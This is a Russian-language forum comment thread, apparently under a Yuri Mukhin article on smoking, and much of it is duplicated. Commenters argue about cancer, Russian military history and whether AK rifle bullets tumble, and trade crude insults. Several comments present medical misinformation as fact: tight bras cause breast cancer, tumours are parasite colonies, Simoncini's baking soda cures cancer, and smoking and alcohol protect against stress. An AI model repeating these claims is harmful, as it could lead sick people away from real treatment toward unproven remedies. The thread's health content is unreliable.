Так нужно. Помню случай в поликлинике. Очередь на приём к врачу тянется очень медленно. Тут подошёл словоохотливый мужик. Зашла речь о здоровье, люди вокруг пожилые. Он заговорил о своем приятеле, который курил как пылесос и не так давно умер-бабушки в очереди его знали. Этот приятель умер через месяц после того , как бросил курить. Раздухарившись, он рассказал торию о другом ссвоем приятеле, который был не дурак выпить, причём пил он исключительно тройной одеколон или аптечные настойки. По пьяне , во время рыбалки, тонул, однако умер после того как бросил пить.
Связь между уменьшением числа курильщиков и возросшим количеством онкозаболеваний не доказана. Возможно, прибавились другие факторы, такие, как снижение иммунитета за счёт плохой экологии и химических добавок в продуктах, ГМО, превышение в несколько раз электро-магнитного фона в городах и другие вредные факторы.
Мне кажется, Степан Демура поднимает более актуальные вопросы. Рекомендую посмотреть на Youtube
Демура! Китай нападёт на Россию. Смотреть всем. Предсказания сбываются.
Давить продукты - вершина идиотизма. ( Степан Демура )
Во время правления Горбачёва тоже уничтожали продукты. Была цель - развалить СССР. А что сейчас хотят власти? Развалить Россию?
Например рак молочной железы напрямую связан с ношением тугих бюстгальтеров,
///////
Да ну?
А у мужиков этот рак с чем связан?
Касательно "рака" кажись ещё в начале 20 века русскими учёными разработана "паразитарная теория"
Согласно коей опухоли это колонии одноклеточных паразитов /типа амёбы, трихомонады, одноклеточных грибов/ а "мутированые ткани" это клетки поражённые внутриклеточными паразитами.
Гдето в 1980 профессорша биохимик Т.Свищёва эту теорию подтвердила экспериментально. Вывела у себя трихомонаду и получила эффект омоложения.
Ещё есть итальянец Симончини, он выводит грибы содой и успешно лечит рак.
В обчем кому надо , тот найдёт.
Мухин прав -- курение это защита от стресса. Как и спиртное.
Считать табак и водку лекарством? это дело вкуса и дозы.
Демура - нарочитый циник, из которого сочится унылое говно. Юрий Игнатьевич боец, готовый пострадать ради того, чтобы хоть что-то изменить в лучшую сторону. За одну просветительскую деятельность по очищению нашей истории заслужил памятник при жизни. Потому как посеял зерна, которые даже в Дугине дали ростки. А Демура? Одинокий, весь в белом, философ над суетной толпой - таким быть пытается, но на самом деле получается только бесконечное, с претензией на иронию, обсирание всего и вся. То не то, это не так, никто ничего не умеет, все дураки и один я умный и знаю что делать, но не скажу. Особенно выделился обгаживанием "Арматы". Нихрена в этом не понимая, ничего не зная о секретном до сих пор танке, обязательно решил поумничать, к тому же ошибившись во всех числах. Я не знаю, насколько "Армата" соответствует дифирамбам. Может и не соответствует. Может наоборот, принижено. Знаю, что это в любом случае попытка людей сделать что-то принципиально новое. Не стоят на месте, шевелятся. Давайте их за это еще и обосрем. Лучше на Т-72 дальше будем воевать. Я все же доверяю в информации Рогозину, который занят делом, а не форексовскому болтуну. Рогозин ничего не говорит о Форексе, думаю умничать Демуре о чем-то другом тоже не пристало.
==За одну просветительскую деятельность по очищению нашей истории ==
Нет никакой истории.
Просветительская деятельность мухина - это обсирание русских и России.
Этот так называемый "патриот", совершенно не понимаю почему его так величают? о России и русских не написал ни одного положительного слова - его даже от написания России на русском языке корёжит от ненависти ...пишет на латинеце...и ведь не лень переключать.
Обосрал и Кутузова, и Цусиму, и "Варяг" и советских артеллиристов и современнуб историю.
Ни одного положительного слова!
Его бы по хорошему выслать бы из России пусть обсирает страну пребывания.
Есть такие уроды - им всё не по нраву со всего хочется сорвать покров...вот пусть бы и рвал с украины...
===Одинокий, весь в белом, философ над суетной толпой - таким быть пытается,===
Как раз про мухина.
Это он, злобный старикашка, писал про русских что они все лохи ибо не хотят как на его любимой украине устраивать майдан что бы свергнуть "кроваваго Путина"
Ой, ну вот не надо! Берия, Хатынь, да и вообще сталинское время защищается Мухиным как раз от современных "историков", включая официальный западный посыл - кайтесь, русские, кайтесь! Нет? Есть предмет для спора? А что касается Цусимы и Кутузова... Признайтесь, Крол, когда в школе изучали этот материал, не возниколо на заднем плане сознания неприятное ощущение? Что вроде да, героизм, моральная победа и все такое, но... продули же! И судя по действительному героизму всех, от солдат до генералов, от матросов до капитанов всяких рангов, продули не они. А некто, кто, по словам Наполеона был бараном, возглавлявшим стаю львов. На Бородине артиллерии больше, войск, участвовавших в сражении тоже больше. И отступили, оставив врагу почти всю артиллерию - ту самую, которая стараниями когда-то обкаканного Аракчеева была на тот момент современной в мире. Кто-нибудь может усомниться, что русские показали под Бородиным все, на что были способны и даже больше? Что дрались с ожесточением, превосходящим современное понимание? Так кто же виноват в поражении? Совсем не Кутузов? Толстой потом с "солдатской твордостью" вывел строки о потерях в резерве до трети от состава в частях, которые еще даже не принимали участие в сражении. Задумывалось, как гимн русской самоотверженности, а как по мне, это гимн дуболомству того, кто, неспособный к предвидению шагов противника, держал резервы поближе к первой линии, подставив под тупое избиение одних из лучших солдат мира. Почему потери выше? Ведь наступали французы, на укрепленные редутами позиции! Как же так? Если Цусима стала позорным разгромом из-за несовершенства снарядов и адмиральских ошибок, то скажите мне, Крол, надо об этом говорить, чтобы подобное не повторялось или не надо? Или будем упрямо повторять, что разгром-то позорный, но вот героизм ведь... Героям воздаем. О тех, кто их погубил - надо помнить. И вот не надо про советских артиллеристов. Советский бог войны поимел противника во все щели, но скажите-ка и тут, уважаемый, все ли было хорошо с этим? Я не читаю художетсвенную литературу уже много лет, делая исключение только для "Игры престолов", Джека Лондона и нескольких советских авторов - и то, скорее чтобы освежить детские впечатления от книг. В основном мемуары, всякая баллетристика и исторические статьи. Так вот, очень и очень часто встречаются в мемуарах и исследованиях сетования на работу советской артиллерии. Запаздывание, стрельба по площадям, плохая подготовка корректировщиков - такое впечатление, что если бы наша артиллерия умела работать как немецкая, война закончилась бы на год раньше. Из поколения в поколение, из войны в войну как ходьба по кругу: разведка, точность артиллерии, связь - вечно через жопу. Читаешь одно и то же, одно и то же, думаешь, когда же это прекратится? Когда наши солдаты перестанут гибнуть из-за дуболомства генералов? Грузинская война - и командующий армией получает пулю, потому что не подумал о разведке - этот тупизм когда закончится? Как будно не было Афгана и двух чеченских, где из-за такого шапкозакидательства нахлебались. Мухин пишет именно для того, чтобы не было настроений "еще нарожают". Чтобы на это обращалось внимание. Это вскрытие недостатков вразрез "героическому" замыливанию. Нет? Если кто-то, кто показывает на полузажатые гайки на Саяно-Шушенской ГЭС и говорит, что так нельзя, так доиграемся до беды - это злобный старикашка. А вот кто кричит, что стране нужны мегаватты и мы героически останавливать ГЭС на ремонт не будем, ведь мы герои и не трусы - это патриот... Ну, Крол, вам бы своим геройством чью-то жопу прикрыть - пожелать? Пожалуй, не буду. Живите. Еще не все сорта пива распробованы, а это важно.
Испражняйся побольше на свою историю. Особенно недавнюю. Постарайся гадить на нее ярко, терпко – чтоб аж в носу щипало! Больше оплеух покойным, больше хлёстких эпитетов.
Особенно густо мажь героев войны и тыла. Ищи среди них алкоголиков, психопатов, садистов. Не надо трогать вещи неудобные для наших противников – вроде выигранных нами сражений, подвигов, благородных поступков или общей Победы над врагом. Если тебе указывают на диссонанс: «Как же победили тогда?» – выкручивайся хитро: «Победили вопреки. Сталину, Жукову, Молотову и так далее. Народ-бедняга воевал, а сволочи-начальники путались под ногами, дрыгались и только мешали побеждать».
Как то так.
Крол, ты ли это? Вроде никогда подобной ахинеи не нес. Никогда, ни я, ни Мухин приписываемой тобой сейчас чуши не несли. Успагойся. Вернись в семью, мы все простим!
Одесситу и Кролу. Чего так сцепились? Ведь оба правы. И проблемы были и есть, только не надо впадать в русофобскую и антисоветскую истерию при их изучении. Специально для Крола. Зайдите на блог Кунгурова. У него русофобская и антисоветская истерика в стадии тяжкого обострения как минимум месяц. И "перл" за "перлом". Обсирание автомата Клашникова затянулось на 3 части, возможно будет и 4-я. Цитата: при стрельбе трассерами из Ак-74-го видно как пули кувыркаются в полете". И это пишет взрослый, от природы нормальный человек!!! Извините, если это так то дальность полета таких пуль должна быть гораздо меньше чем у нормально летящих из-за резко возросшего сопротивления воздуха. Люди для увеличения дальности стрельбы стремились стабилизировать положение запускаемых предметов. Оперение стрел например. Соответственно кувыркающаяся в полете пуля быстро теряет свою энергию, а значит пробивную и поражающую способность. Пробивная и поражающая способность кувыркающихся в полете пуль резко падает еще и из-за неустойчивости таких пуль. Что имеем в итоге? Если Кунгуров прав то у АК ничтожная дальность и точность стрельбы. А если и повезет попасть шанс вывести поразить противника мал по указанным мной причинам. А на деле?
У АК чертова уйма модификаций. Калибра 7,62 -- годная, убойная и неубиваемая шмудовина. А вот всякое модифицированное есть говно. Особенно с укороченным стволом -- кучность вообще отсутствует (может, пружину успокоителя курка выбросили?), прицельная дальнось -- метров 50... Впрочем, они у полицаев всяких там на вооружении. Наверное, так и надо? А то еще друг дружку перестреляют.
Одесситу и Кролу. Насчет АК и Кунгурова. Забыл сказать про причину ковыркания пуль в полете. Это возможно при слишком большом диаметре ствола. Пули практически не вдавливаются в нарезы, соответственно нет вращения пуль вокруг своей оси, стабилизирующего их полет. Если зазор между стволом и пулей слишком велик, то значительная часть газов от сгорания пороха уйдет в зазор. Соответственно упадет скорость пуль. А значит и дальность и энергия пуль. Траектория полета станет более крутой.
Я не понял, вы хотите увести разговор в сторону обсуждения калаша?
Но ведь в статье Мухина речь о курении?
Кунгуров во многом прав. Калаш может применяться на дистанции до 300 метров , но лучше не более 150 метров. Одиночными из него стрелять бесполезно, а очередями нельзя. Поэтому из него стреляют только короткими очередями. Простой его конструкцию не назовёшь. Вот к загрязнениям он устойчив.
Его действительно создали для того, чтобы двигаясь бегом в цепи в след за танками и за огневым валом после хорошей артподготовки поливать вражеские позиции плотным и неприцельным огнём. На смену ППШ.
Для прицельной стрельбы были карабин Симонова, драгуновка и РПД. Так и комплектовались отделения, снайпер, пулемётчик с помошником, гранатомётчик с помошником, командир, водитель, а с калашами как основное оружие только старший стрелок и стрелок.
То что теперь пришла пора по новому глядеть на вещи - это несомненно. Надо всю эту концепцию пересматривать. В этом кунгуров прав. Но кому это надо и зачем? Ведь ни государства нет, ни армии. И тем более нет концепций вооружённых сил и их применения. Ну и откуда тогда взять концепцию оружия?
Чушь, умничает кунгуров как всегда. Ляпнуть что угодно можно. А если по настоящему дело делать, то начинать надо с возрождения общенародного государства СССР как предлагает гостьех и сайты ВОИНР. И с борьбы за закон об ответственности власти Мухина как предлагает ЗОВ. Вот это и даст эффект и в оборонной области и в любой другой. А без этого ни автоматов не будет, ни армии.
Гостю. Нет я всего лишь хотел успокоить оппонентов и показать Кролу образец наглой лжи и полной неадекватности. Лжи, рассчитанной на полных дураков и совсем незнакомых с физикой людей. У нормально сделанного нарезного оружия пуля кувыркаться в воздухе не может в принципе. Пуля кувыркаться в воздухе может только если она вообще не вращается вокруг своей оси или вращается слишком медленно. Но для понимания этого необходимо знать физику. О низкой эффективности такого оружия уже писал. Приведу пару примеров из истории. Крымская война. ЕМНИП гладкоствольные русские ружья били на 300 шагов, нарезные союзников на 1200. И это при сопоставимых начальных скоростях, калибрах и массах пуль. 2-й пример. Нарезная артиллерия. Появилась сразу как только появились продолговатые снаряды. С вашим постом согласен. Хороший. Ясный, содержательный и компактный. Полная противоположность кунгуровским статьям на эту тему. Там преобладает ругань, домыслы и подгонка фактов под заявленное мнение. А оно такое: АК г.... по всем статьям, плод интриг, плод слабоумия командования и халтуры изготовителей. Если что придется отвечать кровью. И все это выражено 3-мя весьма объемистыми статьями, возможно будет и 4-я. Оцените планы автора, величину его "таланта" и "вдохновения".
Да и насчёт перегрева ствола не понимаю претензий. Стреляли мы из него по нескольку магазинов подряд, кирпичные столбы перепиливали, не очень то он и перегревался.
Кучность - да, 300 метров для него предел действенной стрельбы, дальше только случайно попадает. Но для больших дальностей есть снайперки и пулемёты, а также всякая артиллерия.
Да и не каждый солдат вообще сможет попадать на больших дальностях, даже с кучным оружием.
Насчёт надёжности мне у кунгурова непонятно. За время моей службы не видел чтобы автоматы ломались. Хотя у нас в оружейке автоматы были и по 10 лет возраста. Хотя сигнальные пистолеты были древней, аж 1938 года выпуска. Но всё хорошо стреляло, по этому надёжность и срок службы АКС-74 нас вполне удовлетворяли.
Износ ствола - может быть, это начальникам полигонов виднее. Но по делу здесь надо смотреть акты испытаний, а не мемуары начальника полигона, у которого пули кувыркаются.
Вот пулемёт калибра 5,45 как говорят получился слабенький. РПД был разумеется помощнее. Говорят его заменили на РПК для унификации. Типа ремонт, запчасти и всё такое. Может быть и зря. А может и не зря, им всё же виднее, чем кунгурову.
Другое дело, что и другое оружие кроме калашниковского надо делать. Хватит модернизировать одно и тоже. Здесь я соглашусь.
Короче опять кунгуров пальцем в небо попал, как и с танками. Вообще рассуждать о войне не его призвание.
Кунгуров просто пиарится, выпендривается по русски говоря, а дурачки уши развесили.
Это хорошо говорить, мол солдаты нато из своих м-16 и фн-фал на 2 км тебя не подпустят а будут издали долбить вертолётами и миномётами. В реальной обстановке ещё поди найди такую местность где ты на 2 км простреливать будешь, да найди такого стрелка, который на 2 км будет попадать. В пустыне иракской оно полегче, а вот во вьетнамских джунглях как? А вот песок или грязь в ствольную коробку всегда найдёшь.
Насчёт мягкого ствола - это да, материалы в СССР для всяких оружий были не высший сорт, экономили. Штык-нож перекаленная конструкционная сталь, хрупкая, ствол мягкий, гнётся если им в твёрдое стукнуть, тогда уже никуда не попадёшь никогда. Ну так не ломай стволом кирпич, для этого у десантника голова есть и её специально в вдв тренировали.
ну, и еще про кунгурова, чтоб его подленькую натурку до конца выявить.
Он сравнивает оружие под винтовочный патрон, фнфал, м16 с оружием под промежуточный патрон ак.
Ну так нельзя, это как тонны с километрами сравнить. Фнфал и м16 надо сравнивать с драгуновкой, то есть с свд по кучности и дальности. И что то мне подсказывает, что сравнение будет не в пользу фнфал и м16.
То есть кунгуров пойдет на любой подлог ради привлечения внимания к своей не слишком выдающейся персоне.
Гостю. Мне лично вам возразить нечего. Разве насчет М-16. ЕМНИП патрон под нее изначально был охотничьим. Т.е. более убойный чем его военные коллеги. Животные то живучей человека.
характеристик у оружия еще очень много, такие еще есть: вес, скорострельность, темп стрельбы. Простота обслуживания. М16 ничем АК (в 1949, на момент принятия на вооружение, это означало Автоматический Карабин) не уступает. Кроме цены. И чистить АК после стрельбы, кстати, надо всегда и прилежно! Ну, если в воду-песок уронил -- просто вытрясти сифятник -- стрелять будет без проблем. Как М16 -- не знаю. Пули для АК, всех калибров, имеют аэродинамический центр ближе к дну, чем цент массы. и пуля начинает вращаться при попадании в среду с другой плотностью. Бывает, что и воздух разной температуры заставляет ее кувыркаться. И чем меньше калибр, тем остойчивость хуже.
Ну, если кто-то найдет за $800 что-то близко похожее на Калаша -- я буду очень удивлен!
"Кувыркание" пули из нарезного оружия -- явление зауряднейшее, есть немного больше чем всегда. Описано во всех учебниках. И присуща эта незадача всем это нарезным ствола -- кроме спецоружия. Типа снайперского. Чего кунгур-берды взъерепенился-то? Из всякого фуфла делать далеко идущие выводы -- делает "сенсацию" на пустом месте.
Ствол АК к перегреву очень устойчив -- перегрелся (все может быть в очумелых ручках), начал плеваться пулями (диаметр ствола стал слишком велик) -- сунул в воду, вытряс воду и стреляй по новой.
Джокеру. ""Кувыркание пули..............явление зауряднейшее........" Блеск!!!Сами поняли что ляпнули? А зачем твообще огда ствол делать нарезным если снаряд все равно будет кувыркаться в полете? ЕМНИП ствол делают нарезным чтобы снаряд летел дальше и точнее. Учите матчасть, точнее гироскопический эффект.
ПЦ
Шо, опять?!
Грешно смеяться над больными людьми!
Так нужно. Помню случай в
Так нужно. Помню случай в поликлинике. Очередь на приём к врачу тянется очень медленно. Тут подошёл словоохотливый мужик. Зашла речь о здоровье, люди вокруг пожилые. Он заговорил о своем приятеле, который курил как пылесос и не так давно умер-бабушки в очереди его знали. Этот приятель умер через месяц после того , как бросил курить. Раздухарившись, он рассказал торию о другом ссвоем приятеле, который был не дурак выпить, причём пил он исключительно тройной одеколон или аптечные настойки. По пьяне , во время рыбалки, тонул, однако умер после того как бросил пить.
:Ъ
Вот и Мухин бросил... Не к добру!
Грешно смеяться над больными людьми!
Борцы с курением убивают
Юрий Игнатьевич, браво! Вы бросили курить!
Связь между уменьшением числа курильщиков и возросшим количеством онкозаболеваний не доказана. Возможно, прибавились другие факторы, такие, как снижение иммунитета за счёт плохой экологии и химических добавок в продуктах, ГМО, превышение в несколько раз электро-магнитного фона в городах и другие вредные факторы.
Мне кажется, Степан Демура поднимает более актуальные вопросы. Рекомендую посмотреть на Youtube
Демура! Китай нападёт на Россию. Смотреть всем. Предсказания сбываются.
Давить продукты - вершина идиотизма. ( Степан Демура )
Во время правления Горбачёва тоже уничтожали продукты. Была цель - развалить СССР. А что сейчас хотят власти? Развалить Россию?
Связь между онкозаболеваниями и другими благами прогресса
Тоже не сильно афишируется.
Например рак молочной железы напрямую связан с ношением тугих бюстгальтеров, в отсталых странах у дикарей он встречается очень редко
Евгений2
Например рак молочной железы напрямую связан с ношением тугих бюстгальтеров,
///////
Да ну?
А у мужиков этот рак с чем связан?
Касательно "рака" кажись ещё в начале 20 века русскими учёными разработана "паразитарная теория"
Согласно коей опухоли это колонии одноклеточных паразитов /типа амёбы, трихомонады, одноклеточных грибов/ а "мутированые ткани" это клетки поражённые внутриклеточными паразитами.
Гдето в 1980 профессорша биохимик Т.Свищёва эту теорию подтвердила экспериментально. Вывела у себя трихомонаду и получила эффект омоложения.
Ещё есть итальянец Симончини, он выводит грибы содой и успешно лечит рак.
В обчем кому надо , тот найдёт.
Мухин прав -- курение это защита от стресса. Как и спиртное.
Считать табак и водку лекарством? это дело вкуса и дозы.
Насчет мужиков
На злоупотребление памперсами кивают.
И частое и долгое сидение за рулем, когда преет все в штанах
Cлавянка
Демура - нарочитый циник, из которого сочится унылое говно.
Юрий Игнатьевич боец, готовый пострадать ради того, чтобы хоть что-то изменить в лучшую сторону. За одну просветительскую деятельность по очищению нашей истории заслужил памятник при жизни. Потому как посеял зерна, которые даже в Дугине дали ростки.
А Демура? Одинокий, весь в белом, философ над суетной толпой - таким быть пытается, но на самом деле получается только бесконечное, с претензией на иронию, обсирание всего и вся. То не то, это не так, никто ничего не умеет, все дураки и один я умный и знаю что делать, но не скажу.
Особенно выделился обгаживанием "Арматы". Нихрена в этом не понимая, ничего не зная о секретном до сих пор танке, обязательно решил поумничать, к тому же ошибившись во всех числах. Я не знаю, насколько "Армата" соответствует дифирамбам. Может и не соответствует. Может наоборот, принижено. Знаю, что это в любом случае попытка людей сделать что-то принципиально новое. Не стоят на месте, шевелятся. Давайте их за это еще и обосрем. Лучше на Т-72 дальше будем воевать.
Я все же доверяю в информации Рогозину, который занят делом, а не форексовскому болтуну. Рогозин ничего не говорит о Форексе, думаю умничать Демуре о чем-то другом тоже не пристало.
Одесситу
==За одну просветительскую деятельность по очищению нашей истории ==
Нет никакой истории.
Просветительская деятельность мухина - это обсирание русских и России.
Этот так называемый "патриот", совершенно не понимаю почему его так величают? о России и русских не написал ни одного положительного слова - его даже от написания России на русском языке корёжит от ненависти ...пишет на латинеце...и ведь не лень переключать.
Обосрал и Кутузова, и Цусиму, и "Варяг" и советских артеллиристов и современнуб историю.
Ни одного положительного слова!
Его бы по хорошему выслать бы из России пусть обсирает страну пребывания.
Есть такие уроды - им всё не по нраву со всего хочется сорвать покров...вот пусть бы и рвал с украины...
===Одинокий, весь в белом, философ над суетной толпой - таким быть пытается,===
Как раз про мухина.
Это он, злобный старикашка, писал про русских что они все лохи ибо не хотят как на его любимой украине устраивать майдан что бы свергнуть "кроваваго Путина"
Для крол.
крол: "Этот так называемый "патриот", совершенно не понимаю почему его так величают? о России и русских не написал ни одного положительного слова ..."
Ну чего залепетал, козлик? Ну заставили тебя в порядке импортозамещения вместо Титаника на отечественной Булгарии покататься, А Мухин у тебя виноват!
Врать то зачем? Вот, например, как одна из последних книг Мухина называется:
http://static1.ozone.ru/multimedia/books_ill/1011185140.jpg
Прочтешь, напишешь конспект, завтра здесь выложишь. Иначе - запорю-разорю!
Если бы мухина не тормознули
Если бы мухина не тормознули чутка - быть бы ему в гостях вот тут.
Уверен.
http://www.diletant.org/content/mysli-vsluh
дык, эта
тады Мухин-то не одинок
http://forum-msk.org/material/society/10992471.html
:3
Всё помойку свою рекламируешь, убогий?
Грешно смеяться над больными людьми!
крол
Ой, ну вот не надо!
Берия, Хатынь, да и вообще сталинское время защищается Мухиным как раз от современных "историков", включая официальный западный посыл - кайтесь, русские, кайтесь! Нет? Есть предмет для спора?
А что касается Цусимы и Кутузова... Признайтесь, Крол, когда в школе изучали этот материал, не возниколо на заднем плане сознания неприятное ощущение? Что вроде да, героизм, моральная победа и все такое, но... продули же! И судя по действительному героизму всех, от солдат до генералов, от матросов до капитанов всяких рангов, продули не они. А некто, кто, по словам Наполеона был бараном, возглавлявшим стаю львов.
На Бородине артиллерии больше, войск, участвовавших в сражении тоже больше. И отступили, оставив врагу почти всю артиллерию - ту самую, которая стараниями когда-то обкаканного Аракчеева была на тот момент современной в мире. Кто-нибудь может усомниться, что русские показали под Бородиным все, на что были способны и даже больше? Что дрались с ожесточением, превосходящим современное понимание? Так кто же виноват в поражении? Совсем не Кутузов? Толстой потом с "солдатской твордостью" вывел строки о потерях в резерве до трети от состава в частях, которые еще даже не принимали участие в сражении. Задумывалось, как гимн русской самоотверженности, а как по мне, это гимн дуболомству того, кто, неспособный к предвидению шагов противника, держал резервы поближе к первой линии, подставив под тупое избиение одних из лучших солдат мира. Почему потери выше? Ведь наступали французы, на укрепленные редутами позиции! Как же так?
Если Цусима стала позорным разгромом из-за несовершенства снарядов и адмиральских ошибок, то скажите мне, Крол, надо об этом говорить, чтобы подобное не повторялось или не надо? Или будем упрямо повторять, что разгром-то позорный, но вот героизм ведь... Героям воздаем. О тех, кто их погубил - надо помнить.
И вот не надо про советских артиллеристов. Советский бог войны поимел противника во все щели, но скажите-ка и тут, уважаемый, все ли было хорошо с этим? Я не читаю художетсвенную литературу уже много лет, делая исключение только для "Игры престолов", Джека Лондона и нескольких советских авторов - и то, скорее чтобы освежить детские впечатления от книг. В основном мемуары, всякая баллетристика и исторические статьи. Так вот, очень и очень часто встречаются в мемуарах и исследованиях сетования на работу советской артиллерии. Запаздывание, стрельба по площадям, плохая подготовка корректировщиков - такое впечатление, что если бы наша артиллерия умела работать как немецкая, война закончилась бы на год раньше. Из поколения в поколение, из войны в войну как ходьба по кругу: разведка, точность артиллерии, связь - вечно через жопу. Читаешь одно и то же, одно и то же, думаешь, когда же это прекратится? Когда наши солдаты перестанут гибнуть из-за дуболомства генералов? Грузинская война - и командующий армией получает пулю, потому что не подумал о разведке - этот тупизм когда закончится? Как будно не было Афгана и двух чеченских, где из-за такого шапкозакидательства нахлебались.
Мухин пишет именно для того, чтобы не было настроений "еще нарожают". Чтобы на это обращалось внимание. Это вскрытие недостатков вразрез "героическому" замыливанию.
Нет?
Если кто-то, кто показывает на полузажатые гайки на Саяно-Шушенской ГЭС и говорит, что так нельзя, так доиграемся до беды - это злобный старикашка. А вот кто кричит, что стране нужны мегаватты и мы героически останавливать ГЭС на ремонт не будем, ведь мы герои и не трусы - это патриот... Ну, Крол, вам бы своим геройством чью-то жопу прикрыть - пожелать? Пожалуй, не буду. Живите. Еще не все сорта пива распробованы, а это важно.
ещё раз.
Испражняйся побольше на свою историю. Особенно недавнюю. Постарайся гадить на нее ярко, терпко – чтоб аж в носу щипало! Больше оплеух покойным, больше хлёстких эпитетов.
Особенно густо мажь героев войны и тыла. Ищи среди них алкоголиков, психопатов, садистов. Не надо трогать вещи неудобные для наших противников – вроде выигранных нами сражений, подвигов, благородных поступков или общей Победы над врагом. Если тебе указывают на диссонанс: «Как же победили тогда?» – выкручивайся хитро: «Победили вопреки. Сталину, Жукову, Молотову и так далее. Народ-бедняга воевал, а сволочи-начальники путались под ногами, дрыгались и только мешали побеждать».
Как то так.
крол
Крол, ты ли это? Вроде никогда подобной ахинеи не нес. Никогда, ни я, ни Мухин приписываемой тобой сейчас чуши не несли. Успагойся. Вернись в семью, мы все простим!
Одесситу и Кролу. Чего так
Одесситу и Кролу. Чего так сцепились? Ведь оба правы. И проблемы были и есть, только не надо впадать в русофобскую и антисоветскую истерию при их изучении. Специально для Крола. Зайдите на блог Кунгурова. У него русофобская и антисоветская истерика в стадии тяжкого обострения как минимум месяц. И "перл" за "перлом". Обсирание автомата Клашникова затянулось на 3 части, возможно будет и 4-я. Цитата: при стрельбе трассерами из Ак-74-го видно как пули кувыркаются в полете". И это пишет взрослый, от природы нормальный человек!!! Извините, если это так то дальность полета таких пуль должна быть гораздо меньше чем у нормально летящих из-за резко возросшего сопротивления воздуха. Люди для увеличения дальности стрельбы стремились стабилизировать положение запускаемых предметов. Оперение стрел например. Соответственно кувыркающаяся в полете пуля быстро теряет свою энергию, а значит пробивную и поражающую способность. Пробивная и поражающая способность кувыркающихся в полете пуль резко падает еще и из-за неустойчивости таких пуль. Что имеем в итоге? Если Кунгуров прав то у АК ничтожная дальность и точность стрельбы. А если и повезет попасть шанс вывести поразить противника мал по указанным мной причинам. А на деле?
У АК чертова уйма
У АК чертова уйма модификаций. Калибра 7,62 -- годная, убойная и неубиваемая шмудовина. А вот всякое модифицированное есть говно. Особенно с укороченным стволом -- кучность вообще отсутствует (может, пружину успокоителя курка выбросили?), прицельная дальнось -- метров 50... Впрочем, они у полицаев всяких там на вооружении. Наверное, так и надо? А то еще друг дружку перестреляют.
Джокеру. Не вздумайте
Джокеру. Не вздумайте предьявить 2-ю фразу своего поста Кунгурову. Будет истекать калом как все слоны Африки вместе взятые.
ПЦ
Опять ты истекаешь калом!
Грешно смеяться над больными людьми!
Одесситу и Кролу. Насчет АК
Одесситу и Кролу. Насчет АК и Кунгурова. Забыл сказать про причину ковыркания пуль в полете. Это возможно при слишком большом диаметре ствола. Пули практически не вдавливаются в нарезы, соответственно нет вращения пуль вокруг своей оси, стабилизирующего их полет. Если зазор между стволом и пулей слишком велик, то значительная часть газов от сгорания пороха уйдет в зазор. Соответственно упадет скорость пуль. А значит и дальность и энергия пуль. Траектория полета станет более крутой.
Я не понял, вы хотите увести
Я не понял, вы хотите увести разговор в сторону обсуждения калаша?
Но ведь в статье Мухина речь о курении?
Кунгуров во многом прав. Калаш может применяться на дистанции до 300 метров , но лучше не более 150 метров. Одиночными из него стрелять бесполезно, а очередями нельзя. Поэтому из него стреляют только короткими очередями. Простой его конструкцию не назовёшь. Вот к загрязнениям он устойчив.
Его действительно создали для того, чтобы двигаясь бегом в цепи в след за танками и за огневым валом после хорошей артподготовки поливать вражеские позиции плотным и неприцельным огнём. На смену ППШ.
Для прицельной стрельбы были карабин Симонова, драгуновка и РПД. Так и комплектовались отделения, снайпер, пулемётчик с помошником, гранатомётчик с помошником, командир, водитель, а с калашами как основное оружие только старший стрелок и стрелок.
То что теперь пришла пора по новому глядеть на вещи - это несомненно. Надо всю эту концепцию пересматривать. В этом кунгуров прав. Но кому это надо и зачем? Ведь ни государства нет, ни армии. И тем более нет концепций вооружённых сил и их применения. Ну и откуда тогда взять концепцию оружия?
Чушь, умничает кунгуров как всегда. Ляпнуть что угодно можно. А если по настоящему дело делать, то начинать надо с возрождения общенародного государства СССР как предлагает гостьех и сайты ВОИНР. И с борьбы за закон об ответственности власти Мухина как предлагает ЗОВ. Вот это и даст эффект и в оборонной области и в любой другой. А без этого ни автоматов не будет, ни армии.
Гостю. Нет я всего лишь
Гостю. Нет я всего лишь хотел успокоить оппонентов и показать Кролу образец наглой лжи и полной неадекватности. Лжи, рассчитанной на полных дураков и совсем незнакомых с физикой людей. У нормально сделанного нарезного оружия пуля кувыркаться в воздухе не может в принципе. Пуля кувыркаться в воздухе может только если она вообще не вращается вокруг своей оси или вращается слишком медленно. Но для понимания этого необходимо знать физику. О низкой эффективности такого оружия уже писал. Приведу пару примеров из истории. Крымская война. ЕМНИП гладкоствольные русские ружья били на 300 шагов, нарезные союзников на 1200. И это при сопоставимых начальных скоростях, калибрах и массах пуль. 2-й пример. Нарезная артиллерия. Появилась сразу как только появились продолговатые снаряды. С вашим постом согласен. Хороший. Ясный, содержательный и компактный. Полная противоположность кунгуровским статьям на эту тему. Там преобладает ругань, домыслы и подгонка фактов под заявленное мнение. А оно такое: АК г.... по всем статьям, плод интриг, плод слабоумия командования и халтуры изготовителей. Если что придется отвечать кровью. И все это выражено 3-мя весьма объемистыми статьями, возможно будет и 4-я. Оцените планы автора, величину его "таланта" и "вдохновения".
Да и насчёт перегрева ствола
Да и насчёт перегрева ствола не понимаю претензий. Стреляли мы из него по нескольку магазинов подряд, кирпичные столбы перепиливали, не очень то он и перегревался.
Кучность - да, 300 метров для него предел действенной стрельбы, дальше только случайно попадает. Но для больших дальностей есть снайперки и пулемёты, а также всякая артиллерия.
Да и не каждый солдат вообще сможет попадать на больших дальностях, даже с кучным оружием.
Насчёт надёжности мне у кунгурова непонятно. За время моей службы не видел чтобы автоматы ломались. Хотя у нас в оружейке автоматы были и по 10 лет возраста. Хотя сигнальные пистолеты были древней, аж 1938 года выпуска. Но всё хорошо стреляло, по этому надёжность и срок службы АКС-74 нас вполне удовлетворяли.
Износ ствола - может быть, это начальникам полигонов виднее. Но по делу здесь надо смотреть акты испытаний, а не мемуары начальника полигона, у которого пули кувыркаются.
Вот пулемёт калибра 5,45 как говорят получился слабенький. РПД был разумеется помощнее. Говорят его заменили на РПК для унификации. Типа ремонт, запчасти и всё такое. Может быть и зря. А может и не зря, им всё же виднее, чем кунгурову.
Другое дело, что и другое оружие кроме калашниковского надо делать. Хватит модернизировать одно и тоже. Здесь я соглашусь.
Короче опять кунгуров пальцем в небо попал, как и с танками. Вообще рассуждать о войне не его призвание.
Кунгуров просто пиарится, выпендривается по русски говоря, а дурачки уши развесили.
